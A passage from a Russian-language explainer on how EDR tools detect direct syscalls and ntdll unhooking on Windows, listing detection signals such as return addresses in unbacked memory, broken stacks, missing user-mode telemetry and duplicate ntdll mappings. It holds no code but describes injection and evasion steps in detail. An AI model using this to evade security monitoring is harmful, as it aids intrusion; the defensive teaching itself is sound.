\u0441\u0438\u0433\u043d\u0430\u043b.\n\n\u0423\u0441\u043b\u043e\u0432\u043d\u043e:\n\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e:\nreturn address \u2208 ntdll.dll .text near NtXxx stub\n\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\nreturn address \u2208 unknown private RX memory\nreturn address \u2208 heap-backed executable region\nreturn address \u2208 manually mapped module\nreturn address \u2208 shellcode-like region\nEDR \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u043d \u0437\u043d\u0430\u0442\u044c \u0442\u043e\u0447\u043d\u044b\u0439 syscall number. \u0415\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e sensitive kernel transition \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b, \u043d\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 call chain \u043d\u0435 \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u0448\u0442\u0430\u0442\u043d\u044b\u0439.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 2: return address \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0432 image-backed memory\nWindows memory regions \u0438\u043c\u0435\u044e\u0442 \u0442\u0438\u043f\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 VAD/\u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430:\n\nMEM_IMAGE \u2014 \u043f\u0430\u043c\u044f\u0442\u044c, \u0437\u0430\u043c\u0430\u043f\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043a PE image;\nMEM_MAPPED \u2014 file mapping/section;\nMEM_PRIVATE \u2014 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u0430\u044f \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0447\u0430\u0441\u0442\u043e heap/alloc.\n\u0414\u043b\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e ntdll.dll \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f:\n\nreturn address \u2192 MEM_IMAGE\nmodule \u2192 ntdll.dll\nsection \u2192 .text\nprotection \u2192 RX\nbacking file \u2192 \\SystemRoot\\System32\\ntdll.dll\n\u0414\u043b\u044f Direct Syscall \u0447\u0430\u0441\u0442\u043e \u0432\u0438\u0434\u043d\u0430 \u0438\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u0430:\n\nreturn address \u2192 MEM_PRIVATE\nprotection \u2192 RX / RWX\nno PE module metadata\nnot present in PEB loader list\nnot image-backed\n\u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0433\u043b\u0430\u0432\u043d\u044b\u0445 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0439: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 kernel-mode \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u0438\u0437 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u044e.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 3: syscall-\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043d\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 stub\u2019\u043e\u0432\nEDR/\u0441\u0435\u043d\u0441\u043e\u0440 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c, \u0433\u0434\u0435 \u0432 user-mode \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0432 \u044f\u0434\u0440\u043e.\n\n\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439:\n\nsyscall instruction address \u2208 ntdll.dll .text\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439:\n\nsyscall instruction address \u2208 custom module\nsyscall instruction address \u2208 unpacked payload\nsyscall instruction address \u2208 JIT/unbacked RX memory\nsyscall instruction address \u2208 manually mapped ntdll copy\n\u042d\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e, \u0435\u0441\u043b\u0438 EDR \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0442\u043e\u043a\u0430 \u043e\u043a\u043e\u043b\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0438\u043b\u0438 \u0440\u0435\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u0443\u0435\u0442 \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 ETW/kernel telemetry.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 4: \u0441\u0442\u0435\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438\u043b\u0438 \u201c\u043e\u0431\u0440\u0435\u0437\u0430\u043d\u043d\u044b\u043c\u201d\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u0442\u044c call stack. \u0417\u0430\u0449\u0438\u0442\u0430 \u0432 \u043e\u0442\u0432\u0435\u0442 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 ntdll, \u0430 \u043d\u0430 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u0441\u0435\u0433\u043e \u0441\u0442\u0435\u043a\u0430:\n\n\u0432\u0430\u043b\u0438\u0434\u043d\u044b \u043b\u0438 frame pointers / unwind metadata;\n\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043b\u0438 \u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u043c call-sites;\n\u0435\u0441\u0442\u044c \u043b\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0435 RUNTIME_FUNCTION entries \u0434\u043b\u044f x64 unwind;\n\u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043b\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 frame \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u044e;\n\u043d\u0435 \u043f\u0440\u044b\u0433\u0430\u0435\u0442 \u043b\u0438 \u0441\u0442\u0435\u043a \u0438\u0437 kernelbase \u0441\u0440\u0430\u0437\u0443 \u0432 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 RX-\u0440\u0435\u0433\u0438\u043e\u043d;\n\u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0439 \u0434\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\u0414\u043b\u044f x64 Windows \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e: \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 stack walking \u0447\u0430\u0441\u0442\u043e \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 unwind-\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u0437 PE. \u0415\u0441\u043b\u0438 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 unwind metadata, \u0441\u0442\u0435\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c \u0438\u043b\u0438 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a 5: \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u044b\u0442\u0438\u0435\u043c \u0438 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 user-mode \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0435\u0439\nEDR \u043a\u043e\u0440\u0440\u0435\u043b\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u043e\u0438.\n\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, kernel callback \u0432\u0438\u0434\u0438\u0442:\n\nProcess A opened Process B with rights allowing memory write/thread creation\n\u0438\u043b\u0438:\n\nProcess A changed memory protection to executable\n\u041d\u043e user-mode hook telemetry \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0432\u0438\u0434\u0435\u043b\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432:\n\nNtOpenProcess\nNtAllocateVirtualMemory\nNtWriteVirtualMemory\nNtProtectVirtualMemory\nNtCreateThreadEx\n\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u044b\u0432:\n\nKernel-level fact exists,\nuser-mode API trail absent.\n\u0414\u043b\u044f EDR \u044d\u0442\u043e \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043a bypass attempt: \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043d\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0445\u0443\u043a\u043d\u0443\u0442\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f.\n\nB. Direct Syscall \u043a\u0430\u043a behavioral pattern\n\u041e\u0434\u0438\u043d Direct Syscall \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d. \u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u043a\u0442 \u0447\u0430\u0449\u0435 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043a\u0430\u043a \u0433\u0440\u0430\u0444 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:\n\n1. Memory allocation in local/remote process\n2. Write-like behavior\n3. Protection change to executable\n4. Thread creation / APC / hijack\n5. Kernel event present\n6. User-mode API telemetry missing or inconsistent\n7. Stack transition bypasses ntdll\n\u0422\u043e \u0435\u0441\u0442\u044c EDR \u0438\u0449\u0435\u0442 \u043d\u0435 \u00ab\u043e\u0434\u043d\u0443 \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e\u00bb, \u0430 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438.\n\n4. Unhooking: \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0430\u043b\u0438\u0442\u0441\u044f\nUnhooking \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442: \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c .text \u0441\u0435\u043a\u0446\u0438\u044e ntdll.dll, \u0437\u0430\u0442\u0435\u0440\u0435\u0432 inline hooks EDR \u0438 \u0432\u0435\u0440\u043d\u0443\u0432 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0431\u0430\u0439\u0442\u044b.\n\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u0442\u043e \u0442\u043e\u0436\u0435 \u043d\u0435 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0440\u0443\u0435\u043c\u044b.\n\nA. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 protection .text \u0441\u0435\u043a\u0446\u0438\u0438 ntdll.dll\n\u0421\u0435\u043a\u0446\u0438\u044f .text \u0443 ntdll.dll \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0439 \u0438 \u043e\u0431\u044b\u0447\u043d\u043e read-only:\n\nntdll.dll .text \u2192 RX / PAGE_EXECUTE_READ\n\u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0445\u0443\u043a\u0438, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443 \u043d\u0443\u0436\u043d\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 writable:\n\nRX \u2192 RWX\n\u0438\u043b\u0438\nRX \u2192 WRITECOPY / writable variant\n\u042d\u0442\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0443\u0440\u043e\u0432\u043d\u044f NtProtectVirtualMemory / VirtualProtect.\n\n\u0414\u043b\u044f EDR \u044d\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b:\n\nProcess modifies protection of memory range\nwhere:\n  range \u2208 ntdll.dll .text\n  new protection includes WRITE\n\u0421\u0430\u043c\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0443\u044e DLL writable \u0443\u0436\u0435 \u043d\u0435\u0442\u0438\u043f\u0438\u0447\u043d\u0430. \u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d \u0443 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0447\u0442\u0438 \u043d\u0435\u0442.\n\nB. \u0417\u0430\u043f\u0438\u0441\u044c \u0432 .text \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 DLL\n\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f \u2014 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0431\u0430\u0439\u0442\u043e\u0432.\n\nEDR \u043c\u043e\u0436\u0435\u0442 \u0432\u0438\u0434\u0435\u0442\u044c \u044d\u0442\u043e \u0447\u0435\u0440\u0435\u0437:\n\nuser-mode hook \u043d\u0430 NtWriteVirtualMemory / memcpy-\u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b \u0441\u043b\u043e\u0436\u043d\u0435\u0435, \u043d\u043e \u043a\u043e\u0441\u0432\u0435\u043d\u043d\u043e;\nkernel telemetry \u043f\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e VAD/protection;\nmemory integrity scanner;\nperiodic comparison .text \u0441\u0435\u043a\u0446\u0438\u0438 \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u043c;\npage fault / dirty page observation \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f\u0445;\nself-protection \u0432\u043d\u0443\u0442\u0440\u0438 EDR DLL/\u0430\u0433\u0435\u043d\u0442\u0430.\n\u0410\u043d\u043e\u043c\u0430\u043b\u0438\u044f:\n\nbytes in loaded ntdll.dll .text changed\nand changes revert known EDR trampoline pattern\nor differ from expected hooked state\n\u0412\u0430\u0436\u043d\u043e: \u0434\u043b\u044f EDR \u00ab\u0447\u0438\u0441\u0442\u0430\u044f ntdll\u00bb \u0432\u043d\u0443\u0442\u0440\u0438 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0445\u043e\u0440\u043e\u0448\u043e. \u0415\u0441\u043b\u0438 \u0430\u0433\u0435\u043d\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u0432\u043e\u0438 trampoline-\u043f\u0430\u0442\u0447\u0438, \u0430 \u043e\u043d\u0438 \u0438\u0441\u0447\u0435\u0437\u043b\u0438 \u2014 \u044d\u0442\u043e \u0442\u043e\u0436\u0435 \u0441\u0438\u0433\u043d\u0430\u043b \u0432\u043c\u0435\u0448\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430.\n\nC. \u0414\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0443 ntdll.dll \u043d\u0430 \u0434\u0438\u0441\u043a\u0435\n\u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 unhooking \u0447\u0430\u0441\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0447\u0438\u0441\u0442\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u0438\u0437:\n\nC:\\Windows\\System32\\ntdll.dll\n\u0438\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 KnownDlls/section mapping.\n\n\u0422\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0447\u0435\u0441\u043a\u0438 \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:\n\nCreateFile / NtOpenFile \u2192 \\SystemRoot\\System32\\ntdll.dll\nCreateSection / NtCreateSection\nMapViewOfSection / NtMapViewOfSection\nReadFile / NtReadFile\n\u0421\u0430\u043c\u043e \u0447\u0442\u0435\u043d\u0438\u0435 ntdll.dll \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e. \u041d\u043e \u043e\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435:\n\nprocess reads/maps clean ntdll.dll\nthen changes protection of loaded ntdll .text\nthen writes into loaded ntdll .text\nthen performs sensitive syscalls\n\u0422\u043e \u0435\u0441\u0442\u044c \u043e\u043f\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u0439.\n\nD. \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u043c\u0430\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 ntdll.dll\n\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043c\u0430\u043f\u043f\u0438\u0442 \u0432\u0442\u043e\u0440\u0443\u044e \u043a\u043e\u043f\u0438\u044e ntdll.dll, \u0437\u0430\u0449\u0438\u0442\u0430 \u043c\u043e\u0436\u0435\u0442 \u0443\u0432\u0438\u0434\u0435\u0442\u044c:\n\nsame image mapped twice\none mapping is normal loader mapping\nanother mapping appears as data/section mapping\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438:\n\n\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0435\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u043e\u0432, backed by ntdll.dll;\n\u043e\u0434\u0438\u043d \u0440\u0435\u0433\u0438\u043e\u043d \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 loaded module \u0432 PEB loader list;\n.text \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0431\u0430\u0439\u0442\u043e\u0432;\n\u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430 \u0438\u0434\u0451\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e .text;\n\u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u044b\u0437\u043e\u0432\u044b \u0438\u0437 \u043d\u0435\u0442\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 ntdll.\n\u042d\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e, \u043a\u043e\u0433\u0434\u0430 EDR \u0441\u0442\u0440\u043e\u0438\u0442 \u043a\u0430\u0440\u0442\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430:\n\nLoaded modules from PEB\n+\nVAD tree\n+\nbacking file path\n+\nprotection flags\n+\nexecution history\n\u0415\u0441\u043b\u0438 \u0432 VAD \u0435\u0441\u0442\u044c image/file-backed mapping ntdll.dll, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u043a\u0430\u043a \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f, \u044d\u0442\u043e \u0443\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\n\n5. Stack Walking \u043f\u0440\u0438 Unhooking\nUnhooking \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u2014 \u044d\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438. \u041d\u043e \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e EDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u0442\u043e, \u043a\u0430\u043a \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f execution path.\n\n\u0414\u043e unhooking:\n\napp \u2192 ntdll hook \u2192 EDR DLL \u2192 trampoline \u2192 syscall\n\u041f\u043e\u0441\u043b\u0435 unhooking:\n\napp \u2192 clean ntdll stub \u2192 syscall\n\u0414\u043b\u044f EDR \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435:\n\nsensitive syscall happens\nbut expected EDR hook frame no longer appears\n\u0412 \u0441\u0442\u0435\u043a-\u0442\u0440\u0435\u0439\u0441\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u0447\u0435\u0437\u043d\u0443\u0442\u044c \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439 frame \u0438\u0437 EDR-\u043c\u043e\u0434\u0443\u043b\u044f. \u041f\u043b\u044e\u0441, \u0435\u0441\u043b\u0438 unhooking \u0431\u044b\u043b \u0441\u0434\u0435\u043b\u0430\u043d \u043d\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e, \u0441\u0442\u0435\u043a/\u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c:\n\n\u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b \u0432 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e ntdll;\n\u0432\u043e\u0437\u0432\u0440\u0430\u0442\u044b \u0438\u0437 MEM_MAPPED \u0440\u0435\u0433\u0438\u043e\u043d\u0430, backed by ntdll.dll, \u043d\u043e \u043d\u0435 loader-managed;\n\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438\u0437 \u0443\u0447\u0430\u0441\u0442\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 ntdll \u0432 PEB;\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 inline hook transitions.\n\u0414\u043b\u044f 